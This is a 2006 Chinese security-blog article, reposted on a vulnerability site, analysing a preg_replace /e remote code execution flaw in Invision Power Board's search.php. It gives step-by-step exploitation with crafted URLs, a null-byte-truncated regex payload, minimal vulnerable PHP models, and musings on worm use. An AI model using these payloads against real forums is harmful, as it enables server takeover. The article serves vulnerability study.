首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>漏洞资料>文章内容
ipb search.php 漏洞分析及思考
来源:http://superhei.blogbus.com/ 作者:HeiGe 发布时间:2006-05-09  

ipb search.php 漏洞分析及思考

Author:SuperHei_[At]_ph4nt0m.org
Blog:http://superhei.blogbus.com/
Team:http://www.ph4nt0m.org
Data: 2006-04-27

#############
##简单分析###
#############
该漏洞又是一个 preg_replace+/e漏洞,代码在\sources\action_admin\search.php 行1258-1262:

if ( $this->ipsclass->input['lastdate'] )
{
$this->output = preg_replace( "#(value=[\"']{$this->ipsclass->input['lastdate']}[\"'])#i", "\\1

selected='selected'", $this->output );

}
}

通过变量input['lastdate']注入/e, $this->output注入shellcode。

#############
##利用方法###
#############

注册一个用户,发个贴 内容[shellcode]如下:[

superheixxxxxxxeval(phpinf0()); //

注意最后的;和//之间有一空格

然后点“Search”--->Search by Keywords:superheixxxxxxxeval [记得选择Show results as posts ]

可以得到searchid
http://127.0.0.1/ipb215/upload/index.php?act=Search&CODE=show&searchid=81a5a928d500c4653647e5b249ab5f53&search_in=posts&resul

t_type=posts&highlite=superheixxxxxxxeval

然后在后面加一个&lastdate=z|eval.*?%20//)%23e%00 也就是[/e]提交就ok了:

http://127.0.0.1/ipb215/upload/index.php?act=Search&CODE=show&searchid=81a5a928d500c4653647e5b249ab5f53&search_in=posts&resul

t_type=posts&highlite=superheixxxxxxxeval&lastdate=z|eval.*?%20//)%23e%00

#############
##分析讨论###
#############
1.


简单分析:

该漏洞又是一个 preg_replace+/e漏洞,代码在\sources\action_admin\search.php 行1258-1262:

if ( $this->ipsclass->input['lastdate'] )

{

$this->output = preg_replace( "#(value=[\"']{$this->ipsclass->input['lastdate']}[\"'])#i", "\\1

selected='selected'", $this->output );

}

}

通过变量input['lastdate']注入/e, $this->output注入shellcode。

这个分析,掉了一个重要的细节:preg_replace+/e 里有3个参数,只有第2个参数里的代码才可以执行,但是上面的语句貌似是第3个参数提交

的,其实不然,注意上面preg_replace里的第2个参数:\\1 selected='selected' 里面的\\1 为第一参数里正则表达试匹配后的值。归根结底

我们提交的shellcode还是在第2个参数执行了。

2.
注意最后的;和//之间有一空格


这个又是为什么呢?因为我们提交的lastdate=z|eval.*?%20//)%23e%00里是已空格+//为标志的,所以我们提交的shellcode也要有空格+//


3.preg_replace存在null截断漏洞????

我想这个应该算是php本身一个的漏洞[同以前include的null截断漏洞],我们测试下,把上面的漏洞写个简单的模型:
<?
$a=$_GET[a];
echo preg_replace("#(value=[\"']z|eval.*?//)#e{$a}[\"'])#i ","\\1 ","heigegegxxxxxxxeval(phpinfo());//");
?>

我们直接提交http://127.0.0.1/test2.php?a=2出现错误:
Warning: Unknown modifier '2' in d:\easyphp\www\test2.php on line 3

提交http://127.0.0.1/test2.php?a=%002 则执行phpinfo(). 我们成功截断了。模型代码执行环境要求gpc=off ,但是在很多的web程序里是

经过变量编码和解码在执行的,所以不受gpc的影响,上面的ipb的就可以在gpc=on的情况下截断。

4."lastdate=z|eval.*?%20//)%23e%00"的构造
主要是在this->output里以eval和%20//为标志取\\1 为执行的php代码。

5.worm的利用?
还记得Santy吗?就是利用的phpbb里的一个preg_replace,这里会会被利用呢?ipb这个漏洞的利用必须要登陆,但是在ipb注册时候有“图片

认证”,不过据说这个可以编写程序读出来?? 只要突破这个worm是有可能的,毕竟ipb的用户有那么多......

#############
##总结模型###
#############
1.直接在preg_replace第2个变量执行的模式:
<?
echo preg_replace("/test/e",$h,"jutst test");
?>
提交http://127.0.0.1/test/11/preg.php?h=phpinfo()
实例如:phpbb的viewtopic.php变量$highliht_match提交php代码执行漏洞

2.通过\\1[或者\\n]提取第3个变量里的php代码并执行的模式:
<?
echo preg_replace("/\s*\[php\](.+?)\[\/php\]\s*/ies", "\\1", $h);
?>
提交:http://127.0.0.1/test/11/preg.php?h=[php]phpinfo()[/php]

参考:
r57的exp:http://www.milw0rm.com/exploits/1720
更多资料:http://www.google.com



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·XSOK环境变量本地命令执行漏洞
·N点虚拟主机管理系统 致命漏洞。
·南方数据企业网站管理系统V10.0
·动网(DVBBS)Version 8.2.0 后
·Solaris 10 telnet漏洞及解决
·破解无线路由器密码,常见无线密
·Nginx %00空字节执行php漏洞
·WinWebMail、7I24提权漏洞
·XPCD xpcd-svga本地缓冲区溢出漏
·Struts2多个漏洞简要分析
·ecshop2.72 api.php 文件鸡肋注
·Discuz!后台拿Webshell 0day
  相关文章
·IE mhtml redirection漏洞利用方
·[xfocus-SD-060314]Microsoft Of
·Xlight FTP Server远程缓冲区溢
·Php5 GPC绕过缺陷
·Windows GDI32.DLL WMF 渲染引擎
·Backdoor.Win32.IRCBot.st 蠕虫
·[xfocus-SD-060101]AIX getComma
·ICQ Toolbar 1.3 for IE多个安全
·Microsoft IIS远程拒绝服务漏洞
·新浪UC ActiveX多个远程栈溢出漏
·Microsoft Windows异步过程调用
·WordPress wp-trackback.php漏洞
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved